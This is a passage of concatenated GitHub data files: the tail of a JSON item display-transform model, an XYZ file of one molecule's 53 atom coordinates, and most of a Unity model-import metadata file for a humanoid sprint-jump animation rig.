], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "head": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "gui": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "ground": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" }, "fixed": { "translation": [ 0.0, 0.0, 0.0 ], "rotation": [ 0.16043, -0.37686962, -0.06645229, 0.9098437 ], "scale": [ 0.25, 0.25, 0.25 ], "post-rotation": [ 0.0, 0.0, 0.0, 1.0 ], "origin": "corner" } } }
{ "pile_set_name": "Github" }
53 Lattice="1.0 0.0 0.0 0.0 1.0 0.0 0.0 0.0 1.0" Properties=species:S:1:pos:R:3:Z:I:1 pbc="F F F" N 5.02990103 0.20919000 -0.53005999 7 C 4.05286694 0.87084401 0.33776000 6 C 3.29420304 -0.12991101 1.19320905 6 O 3.13651395 0.13179500 2.41630793 8 C 3.15045905 1.81408501 -0.48567200 6 C 2.11579394 2.55120397 0.37648401 6 C 1.35262895 3.54733396 -0.44592401 6 O 0.13019100 3.36272502 -0.68376702 8 O 1.98045194 4.68522120 -0.94478202 8 N 2.86334395 -1.41198099 0.70646697 7 C 1.97907400 -1.57112598 -0.45341399 6 C 0.55639499 -1.28493798 -0.04246200 6 O 0.02438200 -1.98144305 0.86292100 8 C 2.10329890 -2.98219895 -1.08309996 6 O 1.70995295 -3.99561191 -0.18762299 8 C 3.51318502 -3.24319506 -1.63586497 6 N -0.17562699 -0.21334100 -0.66237003 7 C -1.55607796 0.15883800 -0.33032200 6 C -1.66469598 0.59258503 1.11646104 6 O -1.45624197 1.79956305 1.40795505 8 C -2.54251289 -0.95637500 -0.74102199 6 C -3.98311806 -0.55636400 -0.52507597 6 C -4.55620480 0.47485399 -1.29021895 6 C -4.77481699 -1.22599101 0.42438701 6 C -5.89092016 0.84186298 -1.09319401 6 C -6.10906887 -0.85517001 0.61814898 6 C -6.66604280 0.17915000 -0.13821200 6 O -1.97700298 -0.29590201 2.14468694 8 H 5.64195824 -0.40590999 0.05462300 1 H 4.53929186 -0.39996001 -1.22153401 1 H 4.62976599 1.52372503 1.03167200 1 H 2.63229609 1.27099001 -1.29838002 1 H 3.80843592 2.56344104 -0.97829300 1 H 2.62091398 3.08509302 1.20977104 1 H 1.40611601 1.81608999 0.81383002 1 H 2.95626903 4.87463903 -0.75019699 1 H 2.83357000 -2.16714501 1.42756200 1 H 2.27076101 -0.85758603 -1.24339497 1 H 1.40831304 -3.02290606 -1.95096004 1 H 2.45849705 -4.16662693 0.44049501 1 H 4.27432394 -3.17245197 -0.82995099 1 H 3.75692511 -2.50362897 -2.42781496 1 H 3.55911493 -4.25953293 -2.08115506 1 H 0.30245900 0.34696600 -1.40349305 1 H -1.80883098 1.04941297 -0.94850802 1 H -2.40117502 -1.18025303 -1.82090497 1 H -2.31324697 -1.89824700 -0.20121799 1 H -3.97196102 0.99094498 -2.04163289 1 H -4.36154699 -2.03285193 1.01622498 1 H -6.32518816 1.63855302 -1.68325102 1 H -6.71202087 -1.37133098 1.35403299 1 H -7.69922113 0.46415401 0.01269100 1 H -2.16180301 -1.27635098 1.98413205 1
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: b9709ec07d31c490cacc8a490fa9fef0 ModelImporter: serializedVersion: 23 fileIDToRecycleName: 100000: Chest 100002: Head 100004: Hips 100006: Jaw 100008: JawEnd 100010: LeftEye 100012: LeftFoot 100014: LeftHand 100016: LeftIndexDistal 100018: LeftIndexDistalEnd 100020: LeftIndexIntermediate 100022: LeftIndexProximal 100024: LeftLowerArm 100026: LeftLowerLeg 100028: LeftMiddleDistal 100030: LeftMiddleDistalEnd 100032: LeftMiddleIntermediate 100034: LeftMiddleProximal 100036: LeftPinkyDistal 100038: LeftPinkyDistalEnd 100040: LeftPinkyIntermediate 100042: LeftPinkyProximal 100044: LeftRingDistal 100046: LeftRingDistalEnd 100048: LeftRingIntermediate 100050: LeftRingProximal 100052: LeftShoulder 100054: LeftThumbDistal 100056: LeftThumbDistalEnd 100058: LeftThumbIntermediate 100060: LeftThumbProximal 100062: LeftToes 100064: LeftToesEnd 100066: LeftUpperArm 100068: LeftUpperLeg 100070: //RootNode 100072: Neck 100074: RightEye 100076: RightFoot 100078: RightHand 100080: RightIndexDistal 100082: RightIndexDistalEnd 100084: RightIndexIntermediate 100086: RightIndexProximal 100088: RightLowerArm 100090: RightLowerLeg 100092: RightMiddleDistal 100094: RightMiddleDistalEnd 100096: RightMiddleIntermediate 100098: RightMiddleProximal 100100: RightPinkyDistal 100102: RightPinkyDistalEnd 100104: RightPinkyIntermediate 100106: RightPinkyProximal 100108: RightRingDistal 100110: RightRingDistalEnd 100112: RightRingIntermediate 100114: RightRingProximal 100116: RightShoulder 100118: RightThumbDistal 100120: RightThumbDistalEnd 100122: RightThumbIntermediate 100124: RightThumbProximal 100126: RightToes 100128: RightToesEnd 100130: RightUpperArm 100132: RightUpperLeg 100134: Root 100136: Spine 100138: UpperChest 400000: Chest 400002: Head 400004: Hips 400006: Jaw 400008: JawEnd 400010: LeftEye 400012: LeftFoot 400014: LeftHand 400016: LeftIndexDistal 400018: LeftIndexDistalEnd 400020: LeftIndexIntermediate 400022: LeftIndexProximal 400024: LeftLowerArm 400026: LeftLowerLeg 400028: LeftMiddleDistal 400030: LeftMiddleDistalEnd 400032: LeftMiddleIntermediate 400034: LeftMiddleProximal 400036: LeftPinkyDistal 400038: LeftPinkyDistalEnd 400040: LeftPinkyIntermediate 400042: LeftPinkyProximal 400044: LeftRingDistal 400046: LeftRingDistalEnd 400048: LeftRingIntermediate 400050: LeftRingProximal 400052: LeftShoulder 400054: LeftThumbDistal 400056: LeftThumbDistalEnd 400058: LeftThumbIntermediate 400060: LeftThumbProximal 400062: LeftToes 400064: LeftToesEnd 400066: LeftUpperArm 400068: LeftUpperLeg 400070: //RootNode 400072: Neck 400074: RightEye 400076: RightFoot 400078: RightHand 400080: RightIndexDistal 400082: RightIndexDistalEnd 400084: RightIndexIntermediate 400086: RightIndexProximal 400088: RightLowerArm 400090: RightLowerLeg 400092: RightMiddleDistal 400094: RightMiddleDistalEnd 400096: RightMiddleIntermediate 400098: RightMiddleProximal 400100: RightPinkyDistal 400102: RightPinkyDistalEnd 400104: RightPinkyIntermediate 400106: RightPinkyProximal 400108: RightRingDistal 400110: RightRingDistalEnd 400112: RightRingIntermediate 400114: RightRingProximal 400116: RightShoulder 400118: RightThumbDistal 400120: RightThumbDistalEnd 400122: RightThumbIntermediate 400124: RightThumbProximal 400126: RightToes 400128: RightToesEnd 400130: RightUpperArm 400132: RightUpperLeg 400134: Root 400136: Spine 400138: UpperChest 7400000: SprintForwardsJump_Frame04 7400002: SprintForwardsJump_Frame04_Mirror 9500000: //RootNode 2186277476908879412: ImportLogs externalObjects: {} materials: importMaterials: 1 materialName: 0 materialSearch: 1 materialLocation: 1 animations: legacyGenerateAnimations: 4 bakeSimulation: 0 resampleCurves: 1 optimizeGameObjects: 0 motionNodeName: rigImportErrors: rigImportWarnings: animationImportErrors: animationImportWarnings: animationRetargetingWarnings: animationDoRetargetingWarnings: 0 importAnimatedCustomProperties: 0 importConstraints: 0 animationCompression: 3 animationRotationError: 0.5 animationPositionError: 0.5 animationScaleError: 0.5 animationWrapMode: 0 extraExposedTransformPaths: [] extraUserProperties: [] clipAnimations: - serializedVersion: 16 name: SprintForwardsJump_Frame04 takeName: Take 001 firstFrame: 1 lastFrame: 40 wrapMode: 0 orientationOffsetY: 0 level: 0 cycleOffset: 0 loop: 0 hasAdditiveReferencePose: 0 loopTime: 1 loopBlend: 1 loopBlendOrientation: 1 loopBlendPositionY: 1 loopBlendPositionXZ: 1 keepOriginalOrientation: 0 keepOriginalPositionY: 1 keepOriginalPositionXZ: 0 heightFromFeet: 0 mirror: 0 bodyMask: 01000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000 curves: [] events: [] transformMask: [] maskType: 3 maskSource: {instanceID: 0} additiveReferencePoseFrame: 0 - serializedVersion: 16 name: SprintForwardsJump_Frame04_Mirror takeName: Take 001 firstFrame: 1 lastFrame: 40 wrapMode: 0 orientationOffsetY: 0 level: -1 cycleOffset: 0 loop: 0 hasAdditiveReferencePose: 0 loopTime: 1 loopBlend: 1 loopBlendOrientation: 1 loopBlendPositionY: 1 loopBlendPositionXZ: 1 keepOriginalOrientation: 0 keepOriginalPositionY: 0 keepOriginalPositionXZ: 0 heightFromFeet: 0 mirror: 1 bodyMask: 01000000010000000100000001000000010000000100000001000000010000000100000001000000010000000100000001000000 curves: [] events: [] transformMask: [] maskType: 3 maskSource: {instanceID: 0} additiveReferencePoseFrame: 0 isReadable: 1 meshes: lODScreenPercentages: [] globalScale: 1 meshCompression: 0 addColliders: 0 importVisibility: 1 importBlendShapes: 1 importCameras: 1 importLights: 1 swapUVChannels: 0 generateSecondaryUV: 0 useFileUnits: 1 optimizeMeshForGPU: 1 keepQuads: 0 weldVertices: 1 preserveHierarchy: 0 indexFormat: 0 secondaryUVAngleDistortion: 8 secondaryUVAreaDistortion: 15.000001 secondaryUVHardAngle: 88 secondaryUVPackMargin: 4 useFileScale: 1 previousCalculatedGlobalScale: 0.01 hasPreviousCalculatedGlobalScale: 1 tangentSpace: normalSmoothAngle: 60 normalImportMode: 0 tangentImportMode: 3 normalCalculationMode: 4 importAnimation: 1 copyAvatar: 1 humanDescription: serializedVersion: 2 human: - boneName: Hips humanName: Hips limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftUpperLeg humanName: LeftUpperLeg limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightUpperLeg humanName: RightUpperLeg limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftLowerLeg humanName: LeftLowerLeg limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightLowerLeg humanName: RightLowerLeg limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftFoot humanName: LeftFoot limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightFoot humanName: RightFoot limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: Spine humanName: Spine limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: Chest humanName: Chest limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: Neck humanName: Neck limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: Head humanName: Head limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftShoulder humanName: LeftShoulder limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightShoulder humanName: RightShoulder limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftUpperArm humanName: LeftUpperArm limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightUpperArm humanName: RightUpperArm limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftLowerArm humanName: LeftLowerArm limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightLowerArm humanName: RightLowerArm limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftHand humanName: LeftHand limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightHand humanName: RightHand limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftToes humanName: LeftToes limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightToes humanName: RightToes limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: Jaw humanName: Jaw limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftThumbProximal humanName: Left Thumb Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftThumbIntermediate humanName: Left Thumb Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftThumbDistal humanName: Left Thumb Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftIndexProximal humanName: Left Index Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftIndexIntermediate humanName: Left Index Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftIndexDistal humanName: Left Index Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftMiddleProximal humanName: Left Middle Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftMiddleIntermediate humanName: Left Middle Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftMiddleDistal humanName: Left Middle Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftRingProximal humanName: Left Ring Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftRingIntermediate humanName: Left Ring Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftRingDistal humanName: Left Ring Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftPinkyProximal humanName: Left Little Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftPinkyIntermediate humanName: Left Little Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: LeftPinkyDistal humanName: Left Little Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightThumbProximal humanName: Right Thumb Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightThumbIntermediate humanName: Right Thumb Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightThumbDistal humanName: Right Thumb Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightIndexProximal humanName: Right Index Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightIndexIntermediate humanName: Right Index Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightIndexDistal humanName: Right Index Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightMiddleProximal humanName: Right Middle Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightMiddleIntermediate humanName: Right Middle Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightMiddleDistal humanName: Right Middle Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightRingProximal humanName: Right Ring Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightRingIntermediate humanName: Right Ring Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightRingDistal humanName: Right Ring Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightPinkyProximal humanName: Right Little Proximal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightPinkyIntermediate humanName: Right Little Intermediate limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: RightPinkyDistal humanName: Right Little Distal limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 - boneName: UpperChest humanName: UpperChest limit: min: {x: 0, y: 0, z: 0} max: {x: 0, y: 0, z: 0} value: {x: 0, y: 0, z: 0} length: 0 modified: 0 skeleton: - name: defaultmale_rig(Clone) parentName: position: {x: 0, y: 0, z: 0} rotation: {x: 0, y: 0, z: 0, w: 1} scale: {x: 1, y: 1, z: 1} - name: Body parentName: defaultmale_rig(Clone) position: {x: -0, y: 0, z: 0} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: Root parentName: defaultmale_rig(Clone) position: {x: -5.5577125e-16, y: -8.507635e-10, z: 0.0000000042381267} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: Hips parentName: Root position: {x: 1.1827783e-16, y: 0.99710166, z: 0.011954045} rotation: {x: 0.5, y: -0.5, z: -0.5, w: 0.5} scale: {x: 1, y: 1, z: 1} - name: LeftUpperLeg parentName: Hips position: {x: 0.05013466, y: -0.0024317312, z: 0.089999996} rotation: {x: 0, y: 0, z: 0.99998796, w: 0.004908496} scale: {x: 1, y: 1, z: 1} - name: LeftLowerLeg parentName: LeftUpperLeg position: {x: -0.43576738, y: 8.0373204e-16, z: -2.3092638e-16} rotation: {x: 0, y: 0, z: -0.041384947, w: 0.9991433} scale: {x: 1, y: 1, z: 1} - name: LeftFoot parentName: LeftLowerLeg position: {x: -0.4248355, y: 3.2196466e-16, z: 1.9539925e-16} rotation: {x: 0, y: 0, z: 0.04628874, w: 0.9989281} scale: {x: 1, y: 1, z: 1} - name: LeftToes parentName: LeftFoot position: {x: -0.0758718, y: -0.17069253, z: 5.1514347e-16} rotation: {x: 0, y: 0, z: 0.7071068, w: 0.7071068} scale: {x: 1, y: 1, z: 1} - name: LeftToesEnd parentName: LeftToes position: {x: -0.054048985, y: -9.722308e-18, z: 1.0302869e-15} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightUpperLeg parentName: Hips position: {x: 0.05013466, y: -0.0024317356, z: -0.089999996} rotation: {x: 0, y: 0, z: -0.004908496, w: 0.99998796} scale: {x: 1, y: 1, z: 1} - name: RightLowerLeg parentName: RightUpperLeg position: {x: 0.43576697, y: -4.867446e-10, z: 1.9539925e-16} rotation: {x: 0, y: 0, z: -0.041384947, w: 0.9991433} scale: {x: 1, y: 1, z: 1} - name: RightFoot parentName: RightLowerLeg position: {x: 0.42483592, y: 0.00000004328955, z: 1.9539925e-16} rotation: {x: 0, y: 0, z: 0.04628874, w: 0.9989281} scale: {x: 1, y: 1, z: 1} - name: RightToes parentName: RightFoot position: {x: 0.0758718, y: 0.1706926, z: 1.0658141e-16} rotation: {x: 0, y: 0, z: 0.7071068, w: 0.7071068} scale: {x: 1, y: 1, z: 1} - name: RightToesEnd parentName: RightToes position: {x: 0.054049, y: 4.2188474e-17, z: 3.5527136e-17} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: Spine parentName: Hips position: {x: -0.0763707, y: 0.0041095037, z: 1.3457705e-17} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: Chest parentName: Spine position: {x: -0.102159195, y: 0, z: 3.418214e-17} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: UpperChest parentName: Chest position: {x: -0.099863835, y: 3.837587e-10, z: 4.2860933e-17} rotation: {x: 0, y: 0, z: 0.02762249, w: 0.9996185} scale: {x: 1, y: 1, z: 1} - name: Neck parentName: UpperChest position: {x: -0.22944902, y: 0, z: 3.8648323e-18} rotation: {x: 0, y: 0, z: -0.16252996, w: 0.98670363} scale: {x: 1, y: 1, z: 1} - name: Head parentName: Neck position: {x: -0.09720324, y: -3.5527136e-17, z: -7.336409e-18} rotation: {x: 0, y: 0, z: 0.13521273, w: 0.9908166} scale: {x: 1, y: 1, z: 1} - name: LeftEye parentName: Head position: {x: -0.04963602, y: 0.11306743, z: 0.03} rotation: {x: 0, y: 0, z: -0.7071068, w: 0.7071068} scale: {x: 1, y: 1, z: 1} - name: RightEye parentName: Head position: {x: -0.04963885, y: 0.11306744, z: -0.029689595} rotation: {x: 0, y: 0, z: -0.7071068, w: 0.7071068} scale: {x: 1, y: 1, z: 1} - name: Jaw parentName: Head position: {x: 0.020377725, y: 0.023429718, z: 0.000011341149} rotation: {x: -0.00011591564, y: 0.00007256035, z: -0.8476265, w: 0.53059345} scale: {x: 1, y: 1, z: 1} - name: JawEnd parentName: Jaw position: {x: -0.094900064, y: 1.8092883e-17, z: 4.9371638e-17} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftShoulder parentName: UpperChest position: {x: -0.14809349, y: 0.018417658, z: 0.041293867} rotation: {x: -0.48599797, y: 0.51362044, z: 0.48599797, w: 0.51362044} scale: {x: 1, y: 1, z: 1} - name: LeftUpperArm parentName: LeftShoulder position: {x: -0.14904714, y: 0.021559998, z: -0.026150007} rotation: {x: 0.0000000010905377, y: -0.0096692005, z: 0.0000001127794, w: 0.99995327} scale: {x: 1, y: 1, z: 1} - name: LeftLowerArm parentName: LeftUpperArm position: {x: -0.25980794, y: 1.2984311e-16, z: 1.3635393e-16} rotation: {x: 0.000000001217143, y: 0.010789105, z: -0.00000011280568, w: 0.9999418} scale: {x: 1, y: 1, z: 1} - name: LeftHand parentName: LeftLowerArm position: {x: -0.25833747, y: -4.1848454e-17, z: 7.817271e-16} rotation: {x: 0, y: -0.0011199615, z: -0, w: 0.9999994} scale: {x: 1, y: 1, z: 1} - name: LeftThumbProximal parentName: LeftHand position: {x: -0.032763172, y: -0.019399941, z: 0.032587297} rotation: {x: -0.7071068, y: 0, z: 0, w: 0.7071068} scale: {x: 1, y: 1, z: 1} - name: LeftThumbIntermediate parentName: LeftThumbProximal position: {x: -0.015590345, y: -0.02269687, z: -0.0022699998} rotation: {x: 0.00000017615224, y: 0.00000044237117, z: 0.46174863, w: 0.8870109} scale: {x: 1, y: 1, z: 1} - name: LeftThumbDistal parentName: LeftThumbIntermediate position: {x: -0.03139568, y: 0, z: 2.8111882e-17} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftThumbDistalEnd parentName: LeftThumbDistal position: {x: -0.032299604, y: -1.2479823e-16, z: -3.2554504e-16} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftPinkyProximal parentName: LeftHand position: {x: -0.09005295, y: -0.01086029, z: -0.033707228} rotation: {x: 1, y: 0.00000048059263, z: 0.000000045818194, w: 0.000000002879936} scale: {x: 1, y: 1, z: 1} - name: LeftPinkyIntermediate parentName: LeftPinkyProximal position: {x: -0.020319965, y: -0.000000009765624, z: -9.310237e-10} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftPinkyDistal parentName: LeftPinkyIntermediate position: {x: -0.019660275, y: -0.000000018897165, z: -0.0000000018015959} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftPinkyDistalEnd parentName: LeftPinkyDistal position: {x: -0.021771478, y: -0.000000020926425, z: -0.0000000019950588} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftRingProximal parentName: LeftHand position: {x: -0.10098182, y: -0.008680271, z: -0.01518866} rotation: {x: 1, y: 0, z: -0, w: 0.000000002879931} scale: {x: 1, y: 1, z: 1} - name: LeftRingIntermediate parentName: LeftRingProximal position: {x: -0.028015258, y: -0.00000006713867, z: -6.120983e-11} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftRingDistal parentName: LeftRingIntermediate position: {x: -0.029936645, y: -0.00000014348656, z: 0} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftRingDistalEnd parentName: LeftRingDistal position: {x: -0.026132211, y: -0.00000012525189, z: 0} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftMiddleProximal parentName: LeftHand position: {x: -0.10176471, y: -0.009200126, z: 0.0076735215} rotation: {x: 1, y: 0.000001953623, z: 5.6263126e-15, w: 0.0000000028799376} scale: {x: 1, y: 1, z: 1} - name: LeftMiddleIntermediate parentName: LeftMiddleProximal position: {x: -0.03811528, y: -0.00000007446289, z: 2.8247632e-11} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftMiddleDistal parentName: LeftMiddleIntermediate position: {x: -0.027341224, y: -0.0000001068289, z: 0} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftMiddleDistalEnd parentName: LeftMiddleDistal position: {x: -0.029609164, y: -0.00000011569029, z: 0} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftIndexProximal parentName: LeftHand position: {x: -0.10144374, y: -0.010422724, z: 0.032279857} rotation: {x: 1, y: -0.00000080360593, z: -0.00000003485639, w: 0.0000000028799356} scale: {x: 1, y: 1, z: 1} - name: LeftIndexIntermediate parentName: LeftIndexProximal position: {x: -0.03038064, y: 0.000000024414062, z: 0.0000000010589601} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftIndexDistal parentName: LeftIndexIntermediate position: {x: -0.023295304, y: 0.00000006185455, z: 0.0000000026829414} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: LeftIndexDistalEnd parentName: LeftIndexDistal position: {x: -0.027728153, y: 0.000000044565017, z: 0.000000001933008} rotation: {x: 0, y: -0, z: -0, w: 1} scale: {x: 1, y: 1, z: 1} - name: RightShoulder parentName: UpperChest position: {x: -0.14809349, y: 0.018417655, z: -0.041293897} rotation: {x: 0.51362044, y: 0.48599797, z: -0.51362044, w: 0.48599797} scale: {x: 1, y: 1, z: 1} - name: RightUpperArm parentName: RightShoulder position: {x: 0.14904709, y: -0.021559998, z: 0.026150005} rotation: {x: 0.0000000010905377, y: -0.0096692005, z: 0.0000001127794, w: 